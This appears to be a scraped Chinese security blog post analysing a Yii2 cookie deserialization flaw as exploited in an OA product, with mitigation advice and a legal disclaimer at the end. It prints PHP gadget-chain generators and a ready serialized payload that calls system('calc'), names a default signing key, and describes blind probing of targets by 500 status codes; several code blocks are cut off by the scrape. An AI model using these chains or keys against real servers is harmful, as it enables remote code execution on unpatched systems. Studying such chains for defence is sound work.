从某达OA到Yii2框架的cookie反序列化漏洞研究

序言

近期网上流传的某达OA存在PHP反序列化漏洞,导致命令执行。因为该漏洞底层是Yii2框架的漏洞,所以搭建好了Yii2框架环境,在Yii2框架的环境下来进行模拟研究,希望能达到举一反三和类比分析学习的目的。该cookie处反序列化漏洞属于通用型漏洞,如果使用了Yii2框架进行应用开发,若泄露了config/web.php中的cookieValidationKey值、且符合特定Yii2漏洞版本以及PHP版本小于7,那么可能存在此反序列化漏洞,从而导致恶意代码执行。笔者能力有限,如有理解不当之处,希望大师傅们批评指正!

一、反序列化的入口与条件

1.hash验证数据

我们在cookie处提交的参数,被送到了这个validateData方法处,在这里$data的内容会被拆分。在期间其经历了一次hash值校验。我们只要用它提供的加密算法和密钥进行加密,生成数据,就能通过所有的校验,然后进入我们期望的`return $pureData;`环节。从某达OA到Yii2框架的cookie反序列化漏洞研究_第1张图片源代码如下:

public function validateData($data, $key, $rawHash = false)
    {
        $test = @hash_hmac($this->macHash, '', '', $rawHash);
        if (!$test) {
            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
        }
        $hashLength = StringHelper::byteLength($test);
        if (StringHelper::byteLength($data) >= $hashLength) {
            $hash = StringHelper::byteSubstr($data, 0, $hashLength);
            $pureData = StringHelper::byteSubstr($data, $hashLength, null);

            $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);

            if ($this->compareString($hash, $calculatedHash)) {
                return $pureData;
            }
        }

        return false;
    }

2.php版本限制

上面的validateData方法,返回结果后,就回到了loadCookies方法。这里存在一个反序列化入口,就是下图else分支的内容,我们上一方法得到的反序列化数据会进入我们的反序列化入口(注意,allowed_classes 被设置为 false,则在反序列化过程中不会创建对象,只会还原基本数据类型,例如字符串、整数、数组等)。所以我们可以发现,在Yii2框架默认的环境下要进行这个反序列化操作,对php的版本是有所限制的,如下图,可以发现我们的版本中PHP_VERSION_ID 要小于70000才能到达我们期望的反序列化入口。从某达OA到Yii2框架的cookie反序列化漏洞研究_第2张图片

源代码如下:

protected function loadCookies()
    {
        $cookies = [];
        if ($this->enableCookieValidation) {
            if ($this->cookieValidationKey == '') {
                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
            }
            foreach ($_COOKIE as $name => $value) {
                if (!is_string($value)) {
                    continue;
                }
                $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                if ($data === false) {
                    continue;
                }
                if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
                    $data = @unserialize($data, ['allowed_classes' => false]);
                } else {
                    $data = @unserialize($data);
                }
                ......
            }
        } else {
            ......
        }

        return $cookies;
    }




下面我们先直接展示漏洞利用结果。我们可以从调用栈看到已经在进行我们的反序列化过程了。最终弹出计算机验证确实存在此漏洞。

run方法如下:

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

二、config/web.php中的cookieValidationKey值

入口我们观察到了,在validateData方法里我们对需要对自己的反序列数据要进行一次hash计算,然后将hash值拼接到我们url编码后的反序列化数据前,然后附在cookie中发送。这里计算hash就需要用到我们的cookieValidationKey值,我们需要在config/web.php中搜索cookieValidationKey值。

例如下图中的"demo2":从某达OA到Yii2框架的cookie反序列化漏洞研究_第3张图片

我们掌握了加密密钥与加密方法,也就可以编写自己想要用的反序列化数据。如下是简单编写的cookie加密程序:

';

echo $hmac.$encodedata;

效果如下:从某达OA到Yii2框架的cookie反序列化漏洞研究_第4张图片

三、将反序列化数据从cookie中提取出来

从前面反序列化的入口与条件看过来,我们这里进行更为细致的研究,看看我们的反序列化数据是如何被提取出来的。下面的$test值可以被视作测试数据,没有什么输入,目的其实在于输出适用了macHash算法后加密数据的长度。这个长度被用作分割我们cookie里的提交的数据。从某达OA到Yii2框架的cookie反序列化漏洞研究_第5张图片我们提交的是两部分,反序列化数据和在它前面的hash_hmac方法加密的hash值。由测试数据计算出的hash长度为64,那么后面会将cookie提交的数据中的前64个字符赋值给$hash,然后将剩余的赋值给$pureData。(我需要注意,这里获取的$data数据会被默认urldecode解码一次。)从某达OA到Yii2框架的cookie反序列化漏洞研究_第6张图片最终对比提交的hash值与计算出$pureData的hash值是否一致,一致则会进入我们期望的步骤。

四、关于某些链条需要PHPSESSID

案例说明,有些反序列化数据需要我们添加PHPSESSID,例如下面这条利用链:

yii\db\BatchQueryResult->yii\web\DbSession->yii\rest\CreatAction

其反序列化过程会触发对PHPSESSID状态的校验,含有PHPSESSID才能成功命令执行。先看一组对比图,第一个图添加了PHPSESSID,则进入了 composeFields方法;反之第二个图直接跳到结尾了,那么自然出现我们预期外的结果。如下两幅对比图:

的$pureData的hash值是否一致,一致则会进入我们期望的步骤。从某达OA到Yii2框架的cookie反序列化漏洞研究_第7张图片从某达OA到Yii2框架的cookie反序列化漏洞研究_第8张图片

这个什么原因我们看看getIsActive方法:

public function getIsActive()
    {
        $value=session_status();
        //$value=2; PHP_SESSION_ACTIVE值为2
        return $value === PHP_SESSION_ACTIVE;
    }
define('PHP_SESSION_ACTIVE', 2);

如果没有Cookie中添加PHPSESSID,那么我们看看图:从某达OA到Yii2框架的cookie反序列化漏洞研究_第9张图片

所以会返回false,我们无法进入条件为true的语句内。

总之,反序列化链中所有会调用到getIsActive方法的链条我们都需要添加PHPSESSID。

五、通过500状态来判断链条存在可能

500状态,属于判断链条存在的一个必要条件。其会代表我们的反序列化数据所使用的类是可以调用到的,我们通过500状态,可以去判断目标可能存在某条利用链。我们可以从反序列化起点进行测试。(注意:通过500状态码来盲打,可以应对使用了不同漏洞组件的应用程序,可以辅助我们开发POC检测工具。所以前提是需要测试目标为存在漏洞的Yii2框架版本。)

判断过程如下面案例展示:

_dataReader = "new DbSession()";
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));
}
?>返回500,则我们可以继续测试:
writeCallback="[(new CreateAction),\"run\"]";
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));


}
?>又为500,我们继续进行payload测试,进行到下面的测试我们已经测试出一条链了。
checkAccess="system";
            $this->id="calc";
        }
    }
}

namespace yii\web {
    use yii\rest\CreateAction;
    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct() {
            $this->writeCallback=[(new CreateAction),"run"];
            $this->fields['1'] = 'aaa';
        }

    }
}

namespace yii\db {
    use yii\web\DbSession;
    class BatchQueryResult {
        private $_dataReader;
        public function __construct() {
            $this->_dataReader = new DbSession();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();
    echo urlencode(serialize($a));


}
?>这个思路可以用来生成我们的payload探测工具,可以来查找可以被利用的反序列化链条。

六、对某达oa的反序列化漏洞进行观察

某达oa由于/general/appbuilder/web/portal/gateway/?这一条路径会使用上面介绍Yii2的cookie处理方法,所以就存在Yii2的那个反序列化入口,在获取到某达oa的config/web.php中的cookieValidationKey值后,我们就可以构造我们的payload进行攻击。在公开的POC中,可以观察到使用了某达oa自身的一个tdAuthcode加解密函数来加密payload,从而可以绕过一些防御检测。

某达oa默认密钥"tdide2",使用了该密钥来加密利用链。我们在cookie中提交反序化数据,利用上面说的500状态来判断,可以判断这条链是存在的。不过system函数应该是被禁用了,需要使用网上公开的POC进行检测。从某达OA到Yii2框架的cookie反序列化漏洞研究_第10张图片下面是测试出的一条链条:

checkAccess= "system";
            $this->id = "calc";
           
        }
    }
}

namespace  yii\base{
    use yii\rest\CreateAction;
    class Component{
        private $_behaviors;
        private $_events;
        public function __construct(){
            $this->_behaviors = 1;
            $this->_events =array("afterOpen"=>array(array([(new CreateAction),"run"])));
        }
    }
}

namespace yii\redis {
    use yii\base\Component;
    class Connection extends Component{
        public $hostname;
        public $port;
        public $redisCommands;
        public $password;
        public $database;

        public $_socket;
        public function __construct() {

            $this->hostname = "127.0.0.1";
            $this->port = 135;
            $this->redisCommands = ["CLOSE CURSOR"];
     
            $this->_socket = false;
            parent::__construct($_events);
            parent::__construct($_behaviors);
        }

    }
}

namespace yii\db {
    use yii\redis\Connection;
    class DataReader {
        private $_statement;

        public function __construct() {
            $this->_statement = new Connection();
        }
    }
}
namespace yii\db {
    use yii\db\DataReader;

    class BatchQueryResult {
        public $db;
        public $query;

        public $each;
        private $_dataReader;
        


        public function __construct() {

            $this->_dataReader = new DataReader();
         
        }
    }
}



namespace {
    use yii\db\BatchQueryResult;
    $a=new BatchQueryResult();

    echo urlencode(serialize($a));

}
?>

序列化代码如下:

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A4%3A%7Bs%3A2%3A%22db%22%3BN%3Bs%3A5%3A%22query%22%3BN%3Bs%3A4%3A%22each%22%3BN%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A135%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A7%3A%22_socket%22%3Bb%3A0%3Bs%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A4%3A%22calc%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D%7D

O:23:"yii\db\BatchQueryResult":4:{s:2:"db";N;s:5:"query";N;s:4:"each";N;s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\db\DataReader":1:{s:29:"yii\db\DataReader_statement";O:20:"yii\redis\Connection":8:{s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:135;s:13:"redisCommands";a:1:{i:0;s:12:"CLOSE CURSOR";}s:8:"password";N;s:8:"database";N;s:7:"_socket";b:0;s:30:"yii\base\Component_behaviors";i:1;s:27:"yii\base\Component_events";a:1:{s:9:"afterOpen";a:1:{i:0;a:1:{i:0;a:2:{i:0;O:21:"yii\rest\CreateAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:4:"calc";}i:1;s:3:"run";}}}}}}}

接下来,讨论一下,`$this->redisCommands = ["CLOSE CURSOR"]; `。

因为如果我们使用yii\redis\Connection类来进行中转,那么$this->redisCommands这个参数就很关键,研究这个参数我们可以帮助我们找到其他的利用链条,所以在这里来说明一下["CLOSE CURSOR"]。我们观察下面,当调用栈到达yii\db\DataReader->close()的时候,会调用到yii\redis\Connection类的closeCursor方法。从某达OA到Yii2框架的cookie反序列化漏洞研究_第11张图片由于yii\redis\Connection类不存在closeCursor方法但存在__call魔术方法,可以观察到如下传值,closeCursor被赋值给$name。从某达OA到Yii2框架的cookie反序列化漏洞研究_第12张图片

camel2words方法:

public static function camel2words($name, $ucwords = true)
    {
        $label = mb_strtolower(trim(str_replace([
            '-',
            '_',
            '.',
        ], ' ', preg_replace('/(? 
  

直接让ChatGPT分析一下:

这段代码是一个PHP函数,用于将驼峰式命名的字符串转换为人类可读的单词组合,并可以选择是否将结果的首字母大写。下面是对代码的详细分析:

函数名称:camel2words

这个函数的名称表明它的作用是将驼峰式命名转换为单词组合。

参数:

$name:要转换的驼峰式命名的字符串。

$ucwords:一个布尔值,指示是否将结果的首字母大写(默认为 true)。

函数体:

代码的第一行定义了一个变量 $label,用于存储转换后的字符串。

mb_strtolower 函数用于将字符串转换为小写。trim 函数用于去除字符串两端的空格。

str_replace 函数用于将字符串中的一些特定字符(如短横线、下划线、点)替换为空格,以便将它们分隔开。

preg_replace 函数使用正则表达式来处理驼峰命名。它通过正则表达式将大写字母分隔开,并在它们前面添加空格,以便后续处理。

接下来的行对 $name 进行了多步的字符串处理,最终生成了一个用空格分隔的单词组合。

返回值:

如果 $ucwords 参数为 true,则调用 StringHelper::mb_ucwords 函数将转换后的单词组合中的每个单词的首字母都转换为大写,并返回结果。

如果 $ucwords 参数为 false,则直接返回转换后的小写单词组合。

总之,这个函数的作用是将驼峰式的字符串转换为人类可读的单词组合,方便展示给用户。同时,可以选择是否将结果的首字母大写,以适应不同的格式要求。注意,为了处理多字节字符,函数使用了 mb_strtolower 和 StringHelper::mb_ucwords 函数。

所以从上面的代码演示,我们可以看到,如果想使用一条其他的利用链,我们需要寻找到一条包含形如`$this->_statement->closeCursor();`语句的类。由于会调用camel2words方法来处理yii\redis\Connection类的__call方法的$name参数,所以我们需要根据自己找到的$name参数,来定制$this->redisCommands的值,来进入我们期望的方法。(closeCursor——处理方法——> ["CLOSE CURSOR"])从某达OA到Yii2框架的cookie反序列化漏洞研究_第13张图片如果自己设置的$name参数能够成功通过条件语句,进入到executeCommand方法,后续会按照我们期望的方法顺利地进行代码执行。从某达OA到Yii2框架的cookie反序列化漏洞研究_第14张图片

七、我们如何预防呢?

  • 这个漏洞,是需要知道config/web.php中的cookieValidationKey值的,这个值会被用于加密反序列化数据,所以我们要预防,就得保护好我们的cookieValidationKey值,避免信息泄露、默认值等这些情况导致cookieValidationKey值被获取。

  • Yii2框架默认中要想进入反序列化利用点是需要 PHP_VERSION_ID< 70000的,所以我们可以保证我们的系统php版本是较高的版本(大于7)。

  • 确保Yii2框架历史漏洞补丁被打上。

    参考资料

    很感谢下面大师傅们的文章,为笔者的分析学习过程解惑!

    https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw

    https://www.anquanke.com/post/id/254429

    原文地址: https://www.freebuf.com/vuls/378878.html

  • 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

学习更多渗透技能!体验靶场实战练习

从某达OA到Yii2框架的cookie反序列化漏洞研究_第15张图片从某达OA到Yii2框架的cookie反序列化漏洞研究_第16张图片

你可能感兴趣的:(技术干货,android,网络安全,安全,web安全,前端,xss)